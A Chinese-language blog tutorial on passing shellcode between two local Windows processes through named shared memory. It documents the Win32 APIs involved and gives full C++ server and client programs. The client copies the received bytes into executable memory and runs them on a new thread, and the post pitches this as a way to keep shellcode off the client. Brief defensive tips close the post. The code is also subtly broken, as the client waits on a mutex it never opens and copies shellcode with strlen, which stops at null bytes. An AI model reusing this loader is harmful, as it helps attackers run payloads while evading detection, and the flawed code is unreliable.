C++ 共享記憶體ShellCode跨程式傳輸

微軟技術分享發表於2023-12-06

在電腦保安領域,ShellCode是一段用於利用系統漏洞或執行特定任務的機器碼。為了增加攻擊的難度,研究人員經常探索新的傳遞ShellCode的方式。本文介紹了一種使用共享記憶體的方法,透過該方法,兩個本地程式可以相互傳遞ShellCode,從而實現一種巧妙的本地傳輸手段。如果你問我為何在本地了還得這樣傳,那我只能說在某些時候我們可能會將ShellCode打散,而作為客戶端也不需要時時刻刻在本地存放ShellCode程式碼,這能保證客戶端的安全性。

服務端部分

CreateFileMapping

用於建立一個檔案對映物件,將檔案或者其他核心物件對映到程式的地址空間。這個函式通常用於共享記憶體的建立。

下面是 CreateFileMapping 函式的基本語法:

HANDLE CreateFileMapping(
  HANDLE                hFile,
  LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
  DWORD                 flProtect,
  DWORD                 dwMaximumSizeHigh,
  DWORD                 dwMaximumSizeLow,
  LPCTSTR               lpName
);

引數說明:

  • hFile: 檔案控制程式碼,可以是一個磁碟檔案或者其他核心物件的控制程式碼。如果是 INVALID_HANDLE_VALUE,則表示建立一個只在記憶體中的對映,而不與檔案關聯。
  • lpFileMappingAttributes: 安全屬性,一般為 NULL,表示使用預設的安全設定。
  • flProtect: 記憶體保護選項,指定記憶體頁的保護屬性,例如讀、寫、執行等。常見的值有 PAGE_READONLYPAGE_READWRITEPAGE_EXECUTE_READ 等。
  • dwMaximumSizeHighdwMaximumSizeLow: 指定檔案對映物件的最大大小。如果對映的是一個檔案,可以透過這兩個引數指定檔案對映的大小。
  • lpName: 檔案對映物件的名字,如果是透過共享記憶體進行跨程式通訊,可以透過這個名字在不同的程式中開啟同一個檔案對映物件。

成功呼叫 CreateFileMapping 會返回一個檔案對映物件的控制程式碼,失敗則返回 NULL。通常建立成功後,可以透過 MapViewOfFile 函式將檔案對映物件對映到當前程式的地址空間中,進行讀寫操作。

MapViewOfFile

用於將一個檔案對映物件對映到呼叫程式的地址空間中,使得程式可以直接操作對映區域的內容。

以下是 MapViewOfFile 函式的基本語法:

LPVOID MapViewOfFile(
  HANDLE hFileMappingObject,
  DWORD  dwDesiredAccess,
  DWORD  dwFileOffsetHigh,
  DWORD  dwFileOffsetLow,
  SIZE_T dwNumberOfBytesToMap
);

引數說明:

  • hFileMappingObject: 檔案對映物件的控制程式碼,這個控制程式碼通常是透過 CreateFileMapping 函式建立得到的。
  • dwDesiredAccess: 對映區域的訪問許可權,常見的值有 FILE_MAP_READFILE_MAP_WRITEFILE_MAP_EXECUTE
  • dwFileOffsetHighdwFileOffsetLow: 檔案對映的起始位置。在這裡,通常指定為0,表示從檔案的開頭開始對映。
  • dwNumberOfBytesToMap: 指定對映的位元組數,通常可以設定為 0 表示對映整個檔案。

成功呼叫 MapViewOfFile 會返回對映檢視的起始地址,失敗則返回 NULL。對映成功後,可以直接透過返回的地址進行讀寫操作。當不再需要對映時,應該透過 UnmapViewOfFile 函式解除對映。

CreateMutex

用於建立一個互斥體物件。互斥體(Mutex)是一種同步物件,用於確保在多執行緒或多程式環境中對資源的互斥訪問,防止多個執行緒或程式同時訪問共享資源,以避免資料競爭和衝突。

以下是 CreateMutex 函式的基本語法:

HANDLE CreateMutex(
  LPSECURITY_ATTRIBUTES lpMutexAttributes,
  BOOL                  bInitialOwner,
  LPCTSTR               lpName
);

引數說明:

  • lpMutexAttributes: 一個指向 SECURITY_ATTRIBUTES 結構的指標,決定了互斥體的安全性。通常可以設為 NULL,表示使用預設的安全描述符。
  • bInitialOwner: 一個布林值,指定互斥體的初始狀態。如果設定為 TRUE,表示建立互斥體時已經擁有它,這通常用於建立一個已經鎖定的互斥體。如果設定為 FALSE,則表示建立互斥體時未擁有它。
  • lpName: 一個指向包含互斥體名稱的空終止字串的指標。如果為 NULL,則建立一個匿名的互斥體;否則,建立一個具有指定名稱的互斥體。透過指定相同的名稱,可以在多個程式中共享互斥體。

成功呼叫 CreateMutex 會返回互斥體物件的控制程式碼,失敗則返回 NULL。在使用完互斥體後,應該透過 CloseHandle 函式關閉控制程式碼以釋放資源。

CreateEvent

用於建立一個事件物件。事件物件是一種同步物件,用於實現多執行緒或多程式之間的通訊和同步。透過事件物件,可以使一個或多個執行緒等待某個事件的發生,從而協調它們的執行。

以下是 CreateEvent 函式的基本語法:

HANDLE CreateEvent(
  LPSECURITY_ATTRIBUTES lpEventAttributes,
  BOOL                  bManualReset,
  BOOL                  bInitialState,
  LPCTSTR               lpName
);

引數說明:

  • lpEventAttributes: 一個指向 SECURITY_ATTRIBUTES 結構的指標,決定了事件物件的安全性。通常可以設為 NULL,表示使用預設的安全描述符。
  • bManualReset: 一個布林值,指定事件物件的復位型別。如果設定為 TRUE,則為手動復位;如果設定為 FALSE,則為自動復位。手動復位的事件需要透過 ResetEvent 函式手動將其重置為非觸發狀態,而自動復位的事件會在一個等待執行緒被釋放後自動復位為非觸發狀態。
  • bInitialState: 一個布林值,指定事件物件的初始狀態。如果設定為 TRUE,表示建立事件物件時已經處於觸發狀態;如果設定為 FALSE,則表示建立事件物件時處於非觸發狀態。
  • lpName: 一個指向包含事件物件名稱的空終止字串的指標。如果為 NULL,則建立一個匿名的事件物件;否則,建立一個具有指定名稱的事件物件。透過指定相同的名稱,可以在多個程式中共享事件物件。

成功呼叫 CreateEvent 會返回事件物件的控制程式碼,失敗則返回 NULL。在使用完事件物件後,應該透過 CloseHandle 函式關閉控制程式碼以釋放資源。

WaitForSingleObject

用於等待一個或多個核心物件的狀態變為 signaled。核心物件可以是事件、互斥體、訊號量等等。

以下是 WaitForSingleObject 函式的基本語法:

DWORD WaitForSingleObject(
  HANDLE hHandle,
  DWORD  dwMilliseconds
);

引數說明:

  • hHandle: 要等待的核心物件的控制程式碼。可以是事件、互斥體、訊號量等。
  • dwMilliseconds: 等待的時間,以毫秒為單位。如果設為 INFINITE,表示無限等待,直到核心物件變為 signaled。

WaitForSingleObject 返回一個 DWORD 型別的值,表示等待的結果。可能的返回值包括:

  • WAIT_OBJECT_0:核心物件已經變為 signaled 狀態。
  • WAIT_TIMEOUT:等待時間已過,但核心物件仍然沒有變為 signaled 狀態。
  • WAIT_FAILED:等待出錯,可以透過呼叫 GetLastError 獲取詳細錯誤資訊。

這個函式是同步函式,呼叫它的執行緒會阻塞,直到等待的物件變為 signaled 狀態或者等待時間超時。

ReleaseMutex

用於釋放之前由 WaitForSingleObjectWaitForMultipleObjects 等函式獲取的互斥體物件的所有權。

以下是 ReleaseMutex 函式的基本語法:

BOOL ReleaseMutex(
  HANDLE hMutex
);

引數說明:

  • hMutex: 要釋放的互斥體物件的控制程式碼。

ReleaseMutex 返回一個 BOOL 型別的值,表示釋放互斥體物件是否成功。如果函式成功,返回值為非零;如果函式失敗,返回值為零。可以透過呼叫 GetLastError 獲取詳細錯誤資訊。

互斥體(Mutex)是一種同步物件,用於控制對共享資源的訪問。在多執行緒或者多程式環境中,互斥體可以確保在同一時刻只有一個執行緒或者程式能夠訪問被保護的共享資源。當一個執行緒或者程式成功獲取互斥體的所有權後,其他試圖獲取該互斥體所有權的執行緒或者程式將會被阻塞,直到擁有互斥體的執行緒或者程式呼叫 ReleaseMutex 釋放互斥體所有權。

SetEvent

用於將指定的事件物件的狀態設定為 signaled(有訊號)。該函式通常與等待函式(如 WaitForSingleObjectWaitForMultipleObjects)一起使用,以實現執行緒之間或程式之間的同步。

以下是 SetEvent 函式的基本語法:

BOOL SetEvent(
  HANDLE hEvent
);

引數說明:

  • hEvent: 事件物件的控制程式碼。

SetEvent 函式返回一個 BOOL 型別的值,表示設定事件物件狀態是否成功。如果函式成功,返回值為非零;如果函式失敗,返回值為零。可以透過呼叫 GetLastError 獲取詳細錯誤資訊。

事件物件是一種同步物件,用於線上程或者程式之間發訊號。透過 SetEvent 可以將事件物件的狀態設定為 signaled,表示某個條件已經滿足,其他等待該事件物件的執行緒或者程式可以繼續執行。

有了上述API函式的支援,那麼實現這個服務端將變得很容易,如下所示則是服務端完整程式碼,透過建立一個共享記憶體池,並等待使用者按下簡單,當鍵盤被按下時則會自動填充緩衝區為特定內容。

#include <iostream>
#include <Windows.h>
#define BUF_SIZE 1024

HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;

char ShellCode[] = "此處是ShellCode";

using namespace std;

int main(int argc,char *argv[])
{
  // 建立共享檔案控制程式碼
  HANDLE shareFileHandle = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_READWRITE, 0, BUF_SIZE, "SharedMem");
  if (shareFileHandle == NULL)
  {
    return 1;
  }

  //對映緩衝區檢視,得到指向共享記憶體的指標
  LPVOID lpBuf = MapViewOfFile(shareFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, BUF_SIZE);
  if (lpBuf == NULL)
  {
    CloseHandle(shareFileHandle);
    return 1;
  }

  // 建立互斥器
  H_Mutex = CreateMutex(NULL, FALSE, "sm_mutex");
  H_Event = CreateEvent(NULL, FALSE, FALSE, "sm_event");

  // 操作共享記憶體
  while (true)
  {
    getchar();

    // 使用互斥體加鎖,獲得互斥器的擁有權
    WaitForSingleObject(H_Mutex, INFINITE);
    memcpy(lpBuf, ShellCode, strlen(ShellCode) + 1);
    ReleaseMutex(H_Mutex);                           // 放鎖
    SetEvent(H_Event);                               // 啟用等待的程式
  }

  CloseHandle(H_Mutex);
  CloseHandle(H_Event);
  UnmapViewOfFile(lpBuf);
  CloseHandle(shareFileHandle);
  return 0;
}

客戶端部分

OpenFileMapping

用於開啟一個已存在的檔案對映物件,以便將它對映到當前程式的地址空間。檔案對映物件是一種用於在多個程式間共享記憶體資料的機制。

以下是 OpenFileMapping 函式的基本語法:

HANDLE OpenFileMapping(
  DWORD  dwDesiredAccess,
  BOOL   bInheritHandle,
  LPCTSTR lpName
);

引數說明:

  • dwDesiredAccess: 指定對檔案對映物件的訪問許可權。可以使用標準的訪問許可權標誌,如 FILE_MAP_READFILE_MAP_WRITE 等。
  • bInheritHandle: 指定控制程式碼是否可以被子程式繼承。如果為 TRUE,子程式將繼承控制程式碼;如果為 FALSE,子程式不繼承控制程式碼。
  • lpName: 指定檔案對映物件的名稱。此名稱在系統內必須是唯一的。如果是 NULL,函式將開啟一個不帶名稱的檔案對映物件。

OpenFileMapping 函式返回一個檔案對映物件的控制程式碼。如果函式呼叫失敗,返回值為 NULL。可以透過呼叫 GetLastError 獲取詳細錯誤資訊。

OpenEvent

用於開啟一個已存在的命名事件物件。事件物件是一種同步物件,用於在多個程式間進行通訊和同步。

以下是 OpenEvent 函式的基本語法:

HANDLE OpenEvent(
  DWORD  dwDesiredAccess,
  BOOL   bInheritHandle,
  LPCTSTR lpName
);

引數說明:

  • dwDesiredAccess: 指定對事件物件的訪問許可權。可以使用標準的訪問許可權標誌,如 EVENT_MODIFY_STATEEVENT_QUERY_STATE 等。
  • bInheritHandle: 指定控制程式碼是否可以被子程式繼承。如果為 TRUE,子程式將繼承控制程式碼;如果為 FALSE,子程式不繼承控制程式碼。
  • lpName: 指定事件物件的名稱。此名稱在系統內必須是唯一的。如果是 NULL,函式將開啟一個不帶名稱的事件物件。

OpenEvent 函式返回一個事件物件的控制程式碼。如果函式呼叫失敗,返回值為 NULL。可以透過呼叫 GetLastError 獲取詳細錯誤資訊。

VirtualAlloc

用於在程式的虛擬地址空間中分配一段記憶體區域。這個函式通常用於動態分配記憶體,而且可以選擇性地將其初始化為零。

以下是 VirtualAlloc 函式的基本語法:

LPVOID VirtualAlloc(
  LPVOID lpAddress,
  SIZE_T dwSize,
  DWORD  flAllocationType,
  DWORD  flProtect
);

引數說明:

  • lpAddress: 指定欲分配記憶體的首地址。如果為 NULL,系統將決定分配的地址。
  • dwSize: 指定欲分配記憶體的大小,以位元組為單位。
  • flAllocationType: 指定分配型別。可以是以下常量之一:
    • MEM_COMMIT:將記憶體提交為物理儲存(RAM或磁碟交換檔案)中的一頁或多頁。
    • MEM_RESERVE:為欲保留的記憶體保留地址空間而不分配任何物理儲存。
    • MEM_RESET:將記憶體區域的內容初始化為零。必須與 MEM_COMMIT 一起使用。
  • flProtect: 指定記憶體的訪問保護。可以是以下常量之一:
    • PAGE_EXECUTE_READ: 允許讀取並執行訪問。
    • PAGE_READWRITE: 允許讀寫訪問。

VirtualAlloc 函式返回一個指向分配的記憶體區域的指標。如果函式呼叫失敗,返回值為 NULL。可以透過呼叫 GetLastError 獲取詳細錯誤資訊。

CreateThread

用於建立一個新的執行緒。執行緒是執行程式程式碼的單一路徑,一個程式可以包含多個執行緒,這些執行緒可以併發執行。

以下是 CreateThread 函式的基本語法:

HANDLE CreateThread(
  LPSECURITY_ATTRIBUTES   lpThreadAttributes,
  SIZE_T                  dwStackSize,
  LPTHREAD_START_ROUTINE  lpStartAddress,
  LPVOID                  lpParameter,
  DWORD                   dwCreationFlags,
  LPDWORD                 lpThreadId
);

引數說明:

  • lpThreadAttributes: 用於設定執行緒的安全屬性,通常設定為 NULL
  • dwStackSize: 指定執行緒堆疊的大小,可以設定為 0 使用預設堆疊大小。
  • lpStartAddress: 指定執行緒函式的地址,新執行緒將從此地址開始執行。
  • lpParameter: 傳遞給執行緒函式的引數。
  • dwCreationFlags: 指定執行緒的建立標誌,通常設定為 0。
  • lpThreadId: 接收新執行緒的識別符號。如果為 NULL,則不接收執行緒識別符號。

CreateThread 函式返回一個新執行緒的控制程式碼。如果函式呼叫失敗,返回值為 NULL。可以透過呼叫 GetLastError 獲取詳細錯誤資訊。

客戶端同樣建立記憶體對映,使用服務端建立的記憶體池,並在裡面取出ShellCode執行後反彈,完整程式碼如下所示;

#include <iostream>
#include <Windows.h>
#include <winbase.h>

using namespace std;

HANDLE H_Mutex = NULL;
HANDLE H_Event = NULL;

int main(int argc, char* argv[])
{
  // 開啟共享檔案控制程式碼
  HANDLE sharedFileHandle = OpenFileMapping(FILE_MAP_ALL_ACCESS, FALSE, "SharedMem");
  if (sharedFileHandle == NULL)
  {
    return 1;
  }

  // 對映快取區檢視,得到指向共享記憶體的指標
  LPVOID lpBuf = MapViewOfFile(sharedFileHandle, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  if (lpBuf == NULL)
  {
    CloseHandle(sharedFileHandle);
    return 1;
  }

  H_Event = OpenEvent(EVENT_ALL_ACCESS, FALSE, "sm_event");
  if (H_Event == NULL)
  {
    return 1;
  }

  char buffer[4096] = {0};

  while (1)
  {
    HANDLE hThread;

    // 互斥體接收資料並加鎖
    WaitForSingleObject(H_Event, INFINITE);
    WaitForSingleObject(H_Mutex, INFINITE);            // 使用互斥體加鎖
    memcpy(buffer, lpBuf, strlen((char*)lpBuf) + 1);   // 接收資料到記憶體
    ReleaseMutex(H_Mutex);                             // 放鎖
    cout << "接收到的ShellCode: " << buffer << endl;

    // 注入ShellCode並執行
    void* ShellCode = VirtualAlloc(0, sizeof(buffer), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    CopyMemory(ShellCode, buffer, sizeof(buffer));

    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);
    WaitForSingleObject(hThread, INFINITE);
  }

  CloseHandle(H_Event);
  CloseHandle(H_Mutex);
  UnmapViewOfFile(lpBuf);
  CloseHandle(sharedFileHandle);
  return 0;
}

潛在風險和安全建議

雖然這種方法在本地攻擊場景中有一定的巧妙性,但也存在潛在的風險。以下是一些建議:

  1. 防禦共享記憶體濫用: 作業系統提供了一些機制,如使用 ACL(訪問控制列表)和安全描述符,可以限制對共享記憶體的訪問。合理配置這些機制可以減輕潛在的濫用風險。
  2. 加強系統安全策略: 使用強密碼、及時更新系統和應用程式、啟用防火牆等都是基礎的系統安全策略。這些都有助於防止潛在的Shellcode攻擊。
  3. 監控和響應: 部署實時監控和響應系統,能夠及時檢測到異常行為並採取相應措施,對於減緩潛在威脅的影響十分重要。

總結

本文介紹了透過共享記憶體傳遞Shellcode的方法,透過這種巧妙的本地攻擊方式,兩個程式可以在不直接通訊的情況下相互傳遞Shellcode。然而,使用這種技術需要非常謹慎,以免被濫用用於不當用途。在實際應用中,必須謹慎權衡安全性和便利性,同時配合其他防禦措施,確保系統的整體安全性。

相關文章